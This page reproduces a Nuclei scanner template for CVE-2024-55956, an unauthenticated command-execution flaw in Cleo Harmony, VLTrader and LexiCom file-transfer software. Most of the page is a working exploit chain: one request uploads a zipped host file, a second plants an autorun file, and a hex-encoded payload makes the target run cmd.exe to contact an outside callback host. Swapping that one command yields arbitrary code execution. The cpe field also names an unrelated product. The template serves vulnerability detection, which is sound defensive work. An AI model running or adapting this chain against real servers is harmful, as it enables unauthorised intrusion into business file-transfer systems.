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Cleo Harmony < 5.8.0.24 - File Upload Vulnerability

ID: CVE-2024-55956

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,intrusive,cleo,file-upload,kev

Description

Section titled “Description”

In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.

YAML Source

Section titled “YAML Source”
id: CVE-2024-55956


info:
  name: Cleo Harmony < 5.8.0.24 - File Upload Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.
  reference:
    - https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55956
    cwe-id: CWE-276
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'Server: Cleo'
  tags: cve,cve2024,intrusive,cleo,file-upload,kev


flow: http(1) && http(2)


variables:
  payload_1: "{{ hex_decode('3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0a3c486f737420616c6961733d2264376363323439302d303361392d343861382d386166642d62643730343263666462643522206170706c69636174696f6e3d22222062793d2241646d696e6973747261746f722220636c6173733d222a437777514e77776245523453456841384578346345444e525151775242777362476b35544551644f45415557546b4d2a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d22547275652220656e633d2239353732343634652d373862352d343633352d386133622d30623937393964643862663922206c6f63616c3d225472756522206d6f646576656e743d224d6f64696669656422206d6f6469666965643d22323032302f31302f31302030303a30303a303022206d6f646974656d3d22266c743b636f70792667743b6d79436f6d6d616e6473404c6f63616c20436f6d6d616e647322206d6f64747970653d22416374696f6e732220707265636f6e666967757265643d22323030392f31302f33302031353a3135222072656164793d225472756522207374616e64616c6f6e65616374696f6e3d2246616c73652220746573743d2246616c736522207472616e73706f72743d222220747970653d2222207569643d2264363330613565622d326335612d343265362d393534302d373763326261353130363232222076657273696f6e3d2231223e0a20203c436f6e6e656374747970653e303c2f436f6e6e656374747970653e0a20203c496e626f783e696e626f783c2f496e626f783e0a20203c496e6465783e303c2f496e6465783e0a20203c496e646578646174653e2d313c2f496e646578646174653e0a20203c496e7465726e616c3e303c2f496e7465726e616c3e0a20203c4e6f7465733e5468697320636f6e7461696e73206d61696c626f78657320666f722061206c6f63616c20686f73742077686963682063616e206265207573656420666f72206c6f63616c20636f6d6d616e6473206f6e6c792e3c2f4e6f7465733e0a20203c4f726967696e3e4c6f63616c20436f6d6d616e64733c2f4f726967696e3e0a20203c4f7574626f783e6f7574626f783c2f4f7574626f783e0a20203c506f72743e303c2f506f72743e0a20203c52756e6e696e676c6f63616c72657175697265643e547275653c2f52756e6e696e676c6f63616c72657175697265643e0a20203c536563757265706f727472657175697265643e46616c73653c2f536563757265706f727472657175697265643e0a20203c556964737770643e547275653c2f556964737770643e0a20203c416476616e6365643e5a6970436f6d7072657373696f6e4c6576656c3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e584d4c456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f72697479496e636f6d696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e50475048617368416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f726974794f7574676f696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e504750436f6d7072657373696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e4f7574626f78536f72743d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e504750456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c4d61696c626f7820616c6961733d2265666337366261302d323061642d343763642d393534632d6364356435623436643333642220636c6173733d222a42784164457859654d67776245523453456841384578346345444e522220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206c6f63616c64656372797074636572743d2222206c6f63616c656e6372797074636572743d2222206c6f63616c7061636b6167696e673d224e6f6e652220706172746e657264656372797074636572743d222220706172746e65726465637279707470617373776f72643d222220706172746e6572656e6372797074636572743d222220706172746e65727061636b6167696e673d224e6f6e65222072656164793d225472756522207569643d2262376462323563372d383935652d343430642d393231372d393262326363643532326562222076657273696f6e3d2231223e0a202020203c416374696f6e20616374696f6e747970653d22436f6d6d616e64732220616c6961733d2236636164303764382d623239372d346465612d623065612d633666303338316534313637222062793d2241646d696e6973747261746f722220636c6173733d222a455241574378772b444273524868495345447754486877514d31452a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206d6f6469666965643d22323032302f31302f31302030303a30303a3030222072656164793d225472756522207569643d2261386236393166662d303332652d346662362d626562632d653635613330333265646364222076657273696f6e3d2232223e0a2020202020203c4175746f737461727475703e46616c73653c2f4175746f737461727475703e0a2020202020203c436f6d6d616e64733e3c215b43444154415b53595354454d20636d642e657865202f6320226e736c6f6f6b75702e65786520') }}"
  payload_2: "{{ hex_decode('225d5d3e3c2f436f6d6d616e64733e0a2020202020203c46696c6573696e3e303c2f46696c6573696e3e0a2020202020203c46696c65736f75743e303c2f46696c65736f75743e0a2020202020203c53736c3e46616c73653c2f53736c3e0a202020203c2f416374696f6e3e0a20203c2f4d61696c626f783e0a3c2f486f73743e') }}"
  payload: "{{ concat(payload_1, '{{interactsh-url}}', payload_2) }}"
  xml_file: "{{randstr_1}}"
  autorun_file: "{{randstr_2}}"


http:
  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge


        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/{{xml_file}}.tmp";receiptfolder=Unspecified;
        --------boundary
        {{ zip("hosts/main.xml", payload) }}


    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(response), "cleo")'
          - 'len(body) == 0'
        condition: and
        internal: true


  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge


        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="autorun/{{autorun_file}}.txt";receiptfolder=Unspecified;
        --------boundary
        -i "temp/{{xml_file}}.tmp"
        -r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"


    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 490a0046304402200c88e81e23f709c1061bf897bf5081e2cf8e41a71eaa63ef99b5ae679ec3281e0220254058bea3122bcd51a2e54c039aa47efe4eaa828e3b00b277a6140739adb0fe:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-55956.yaml"

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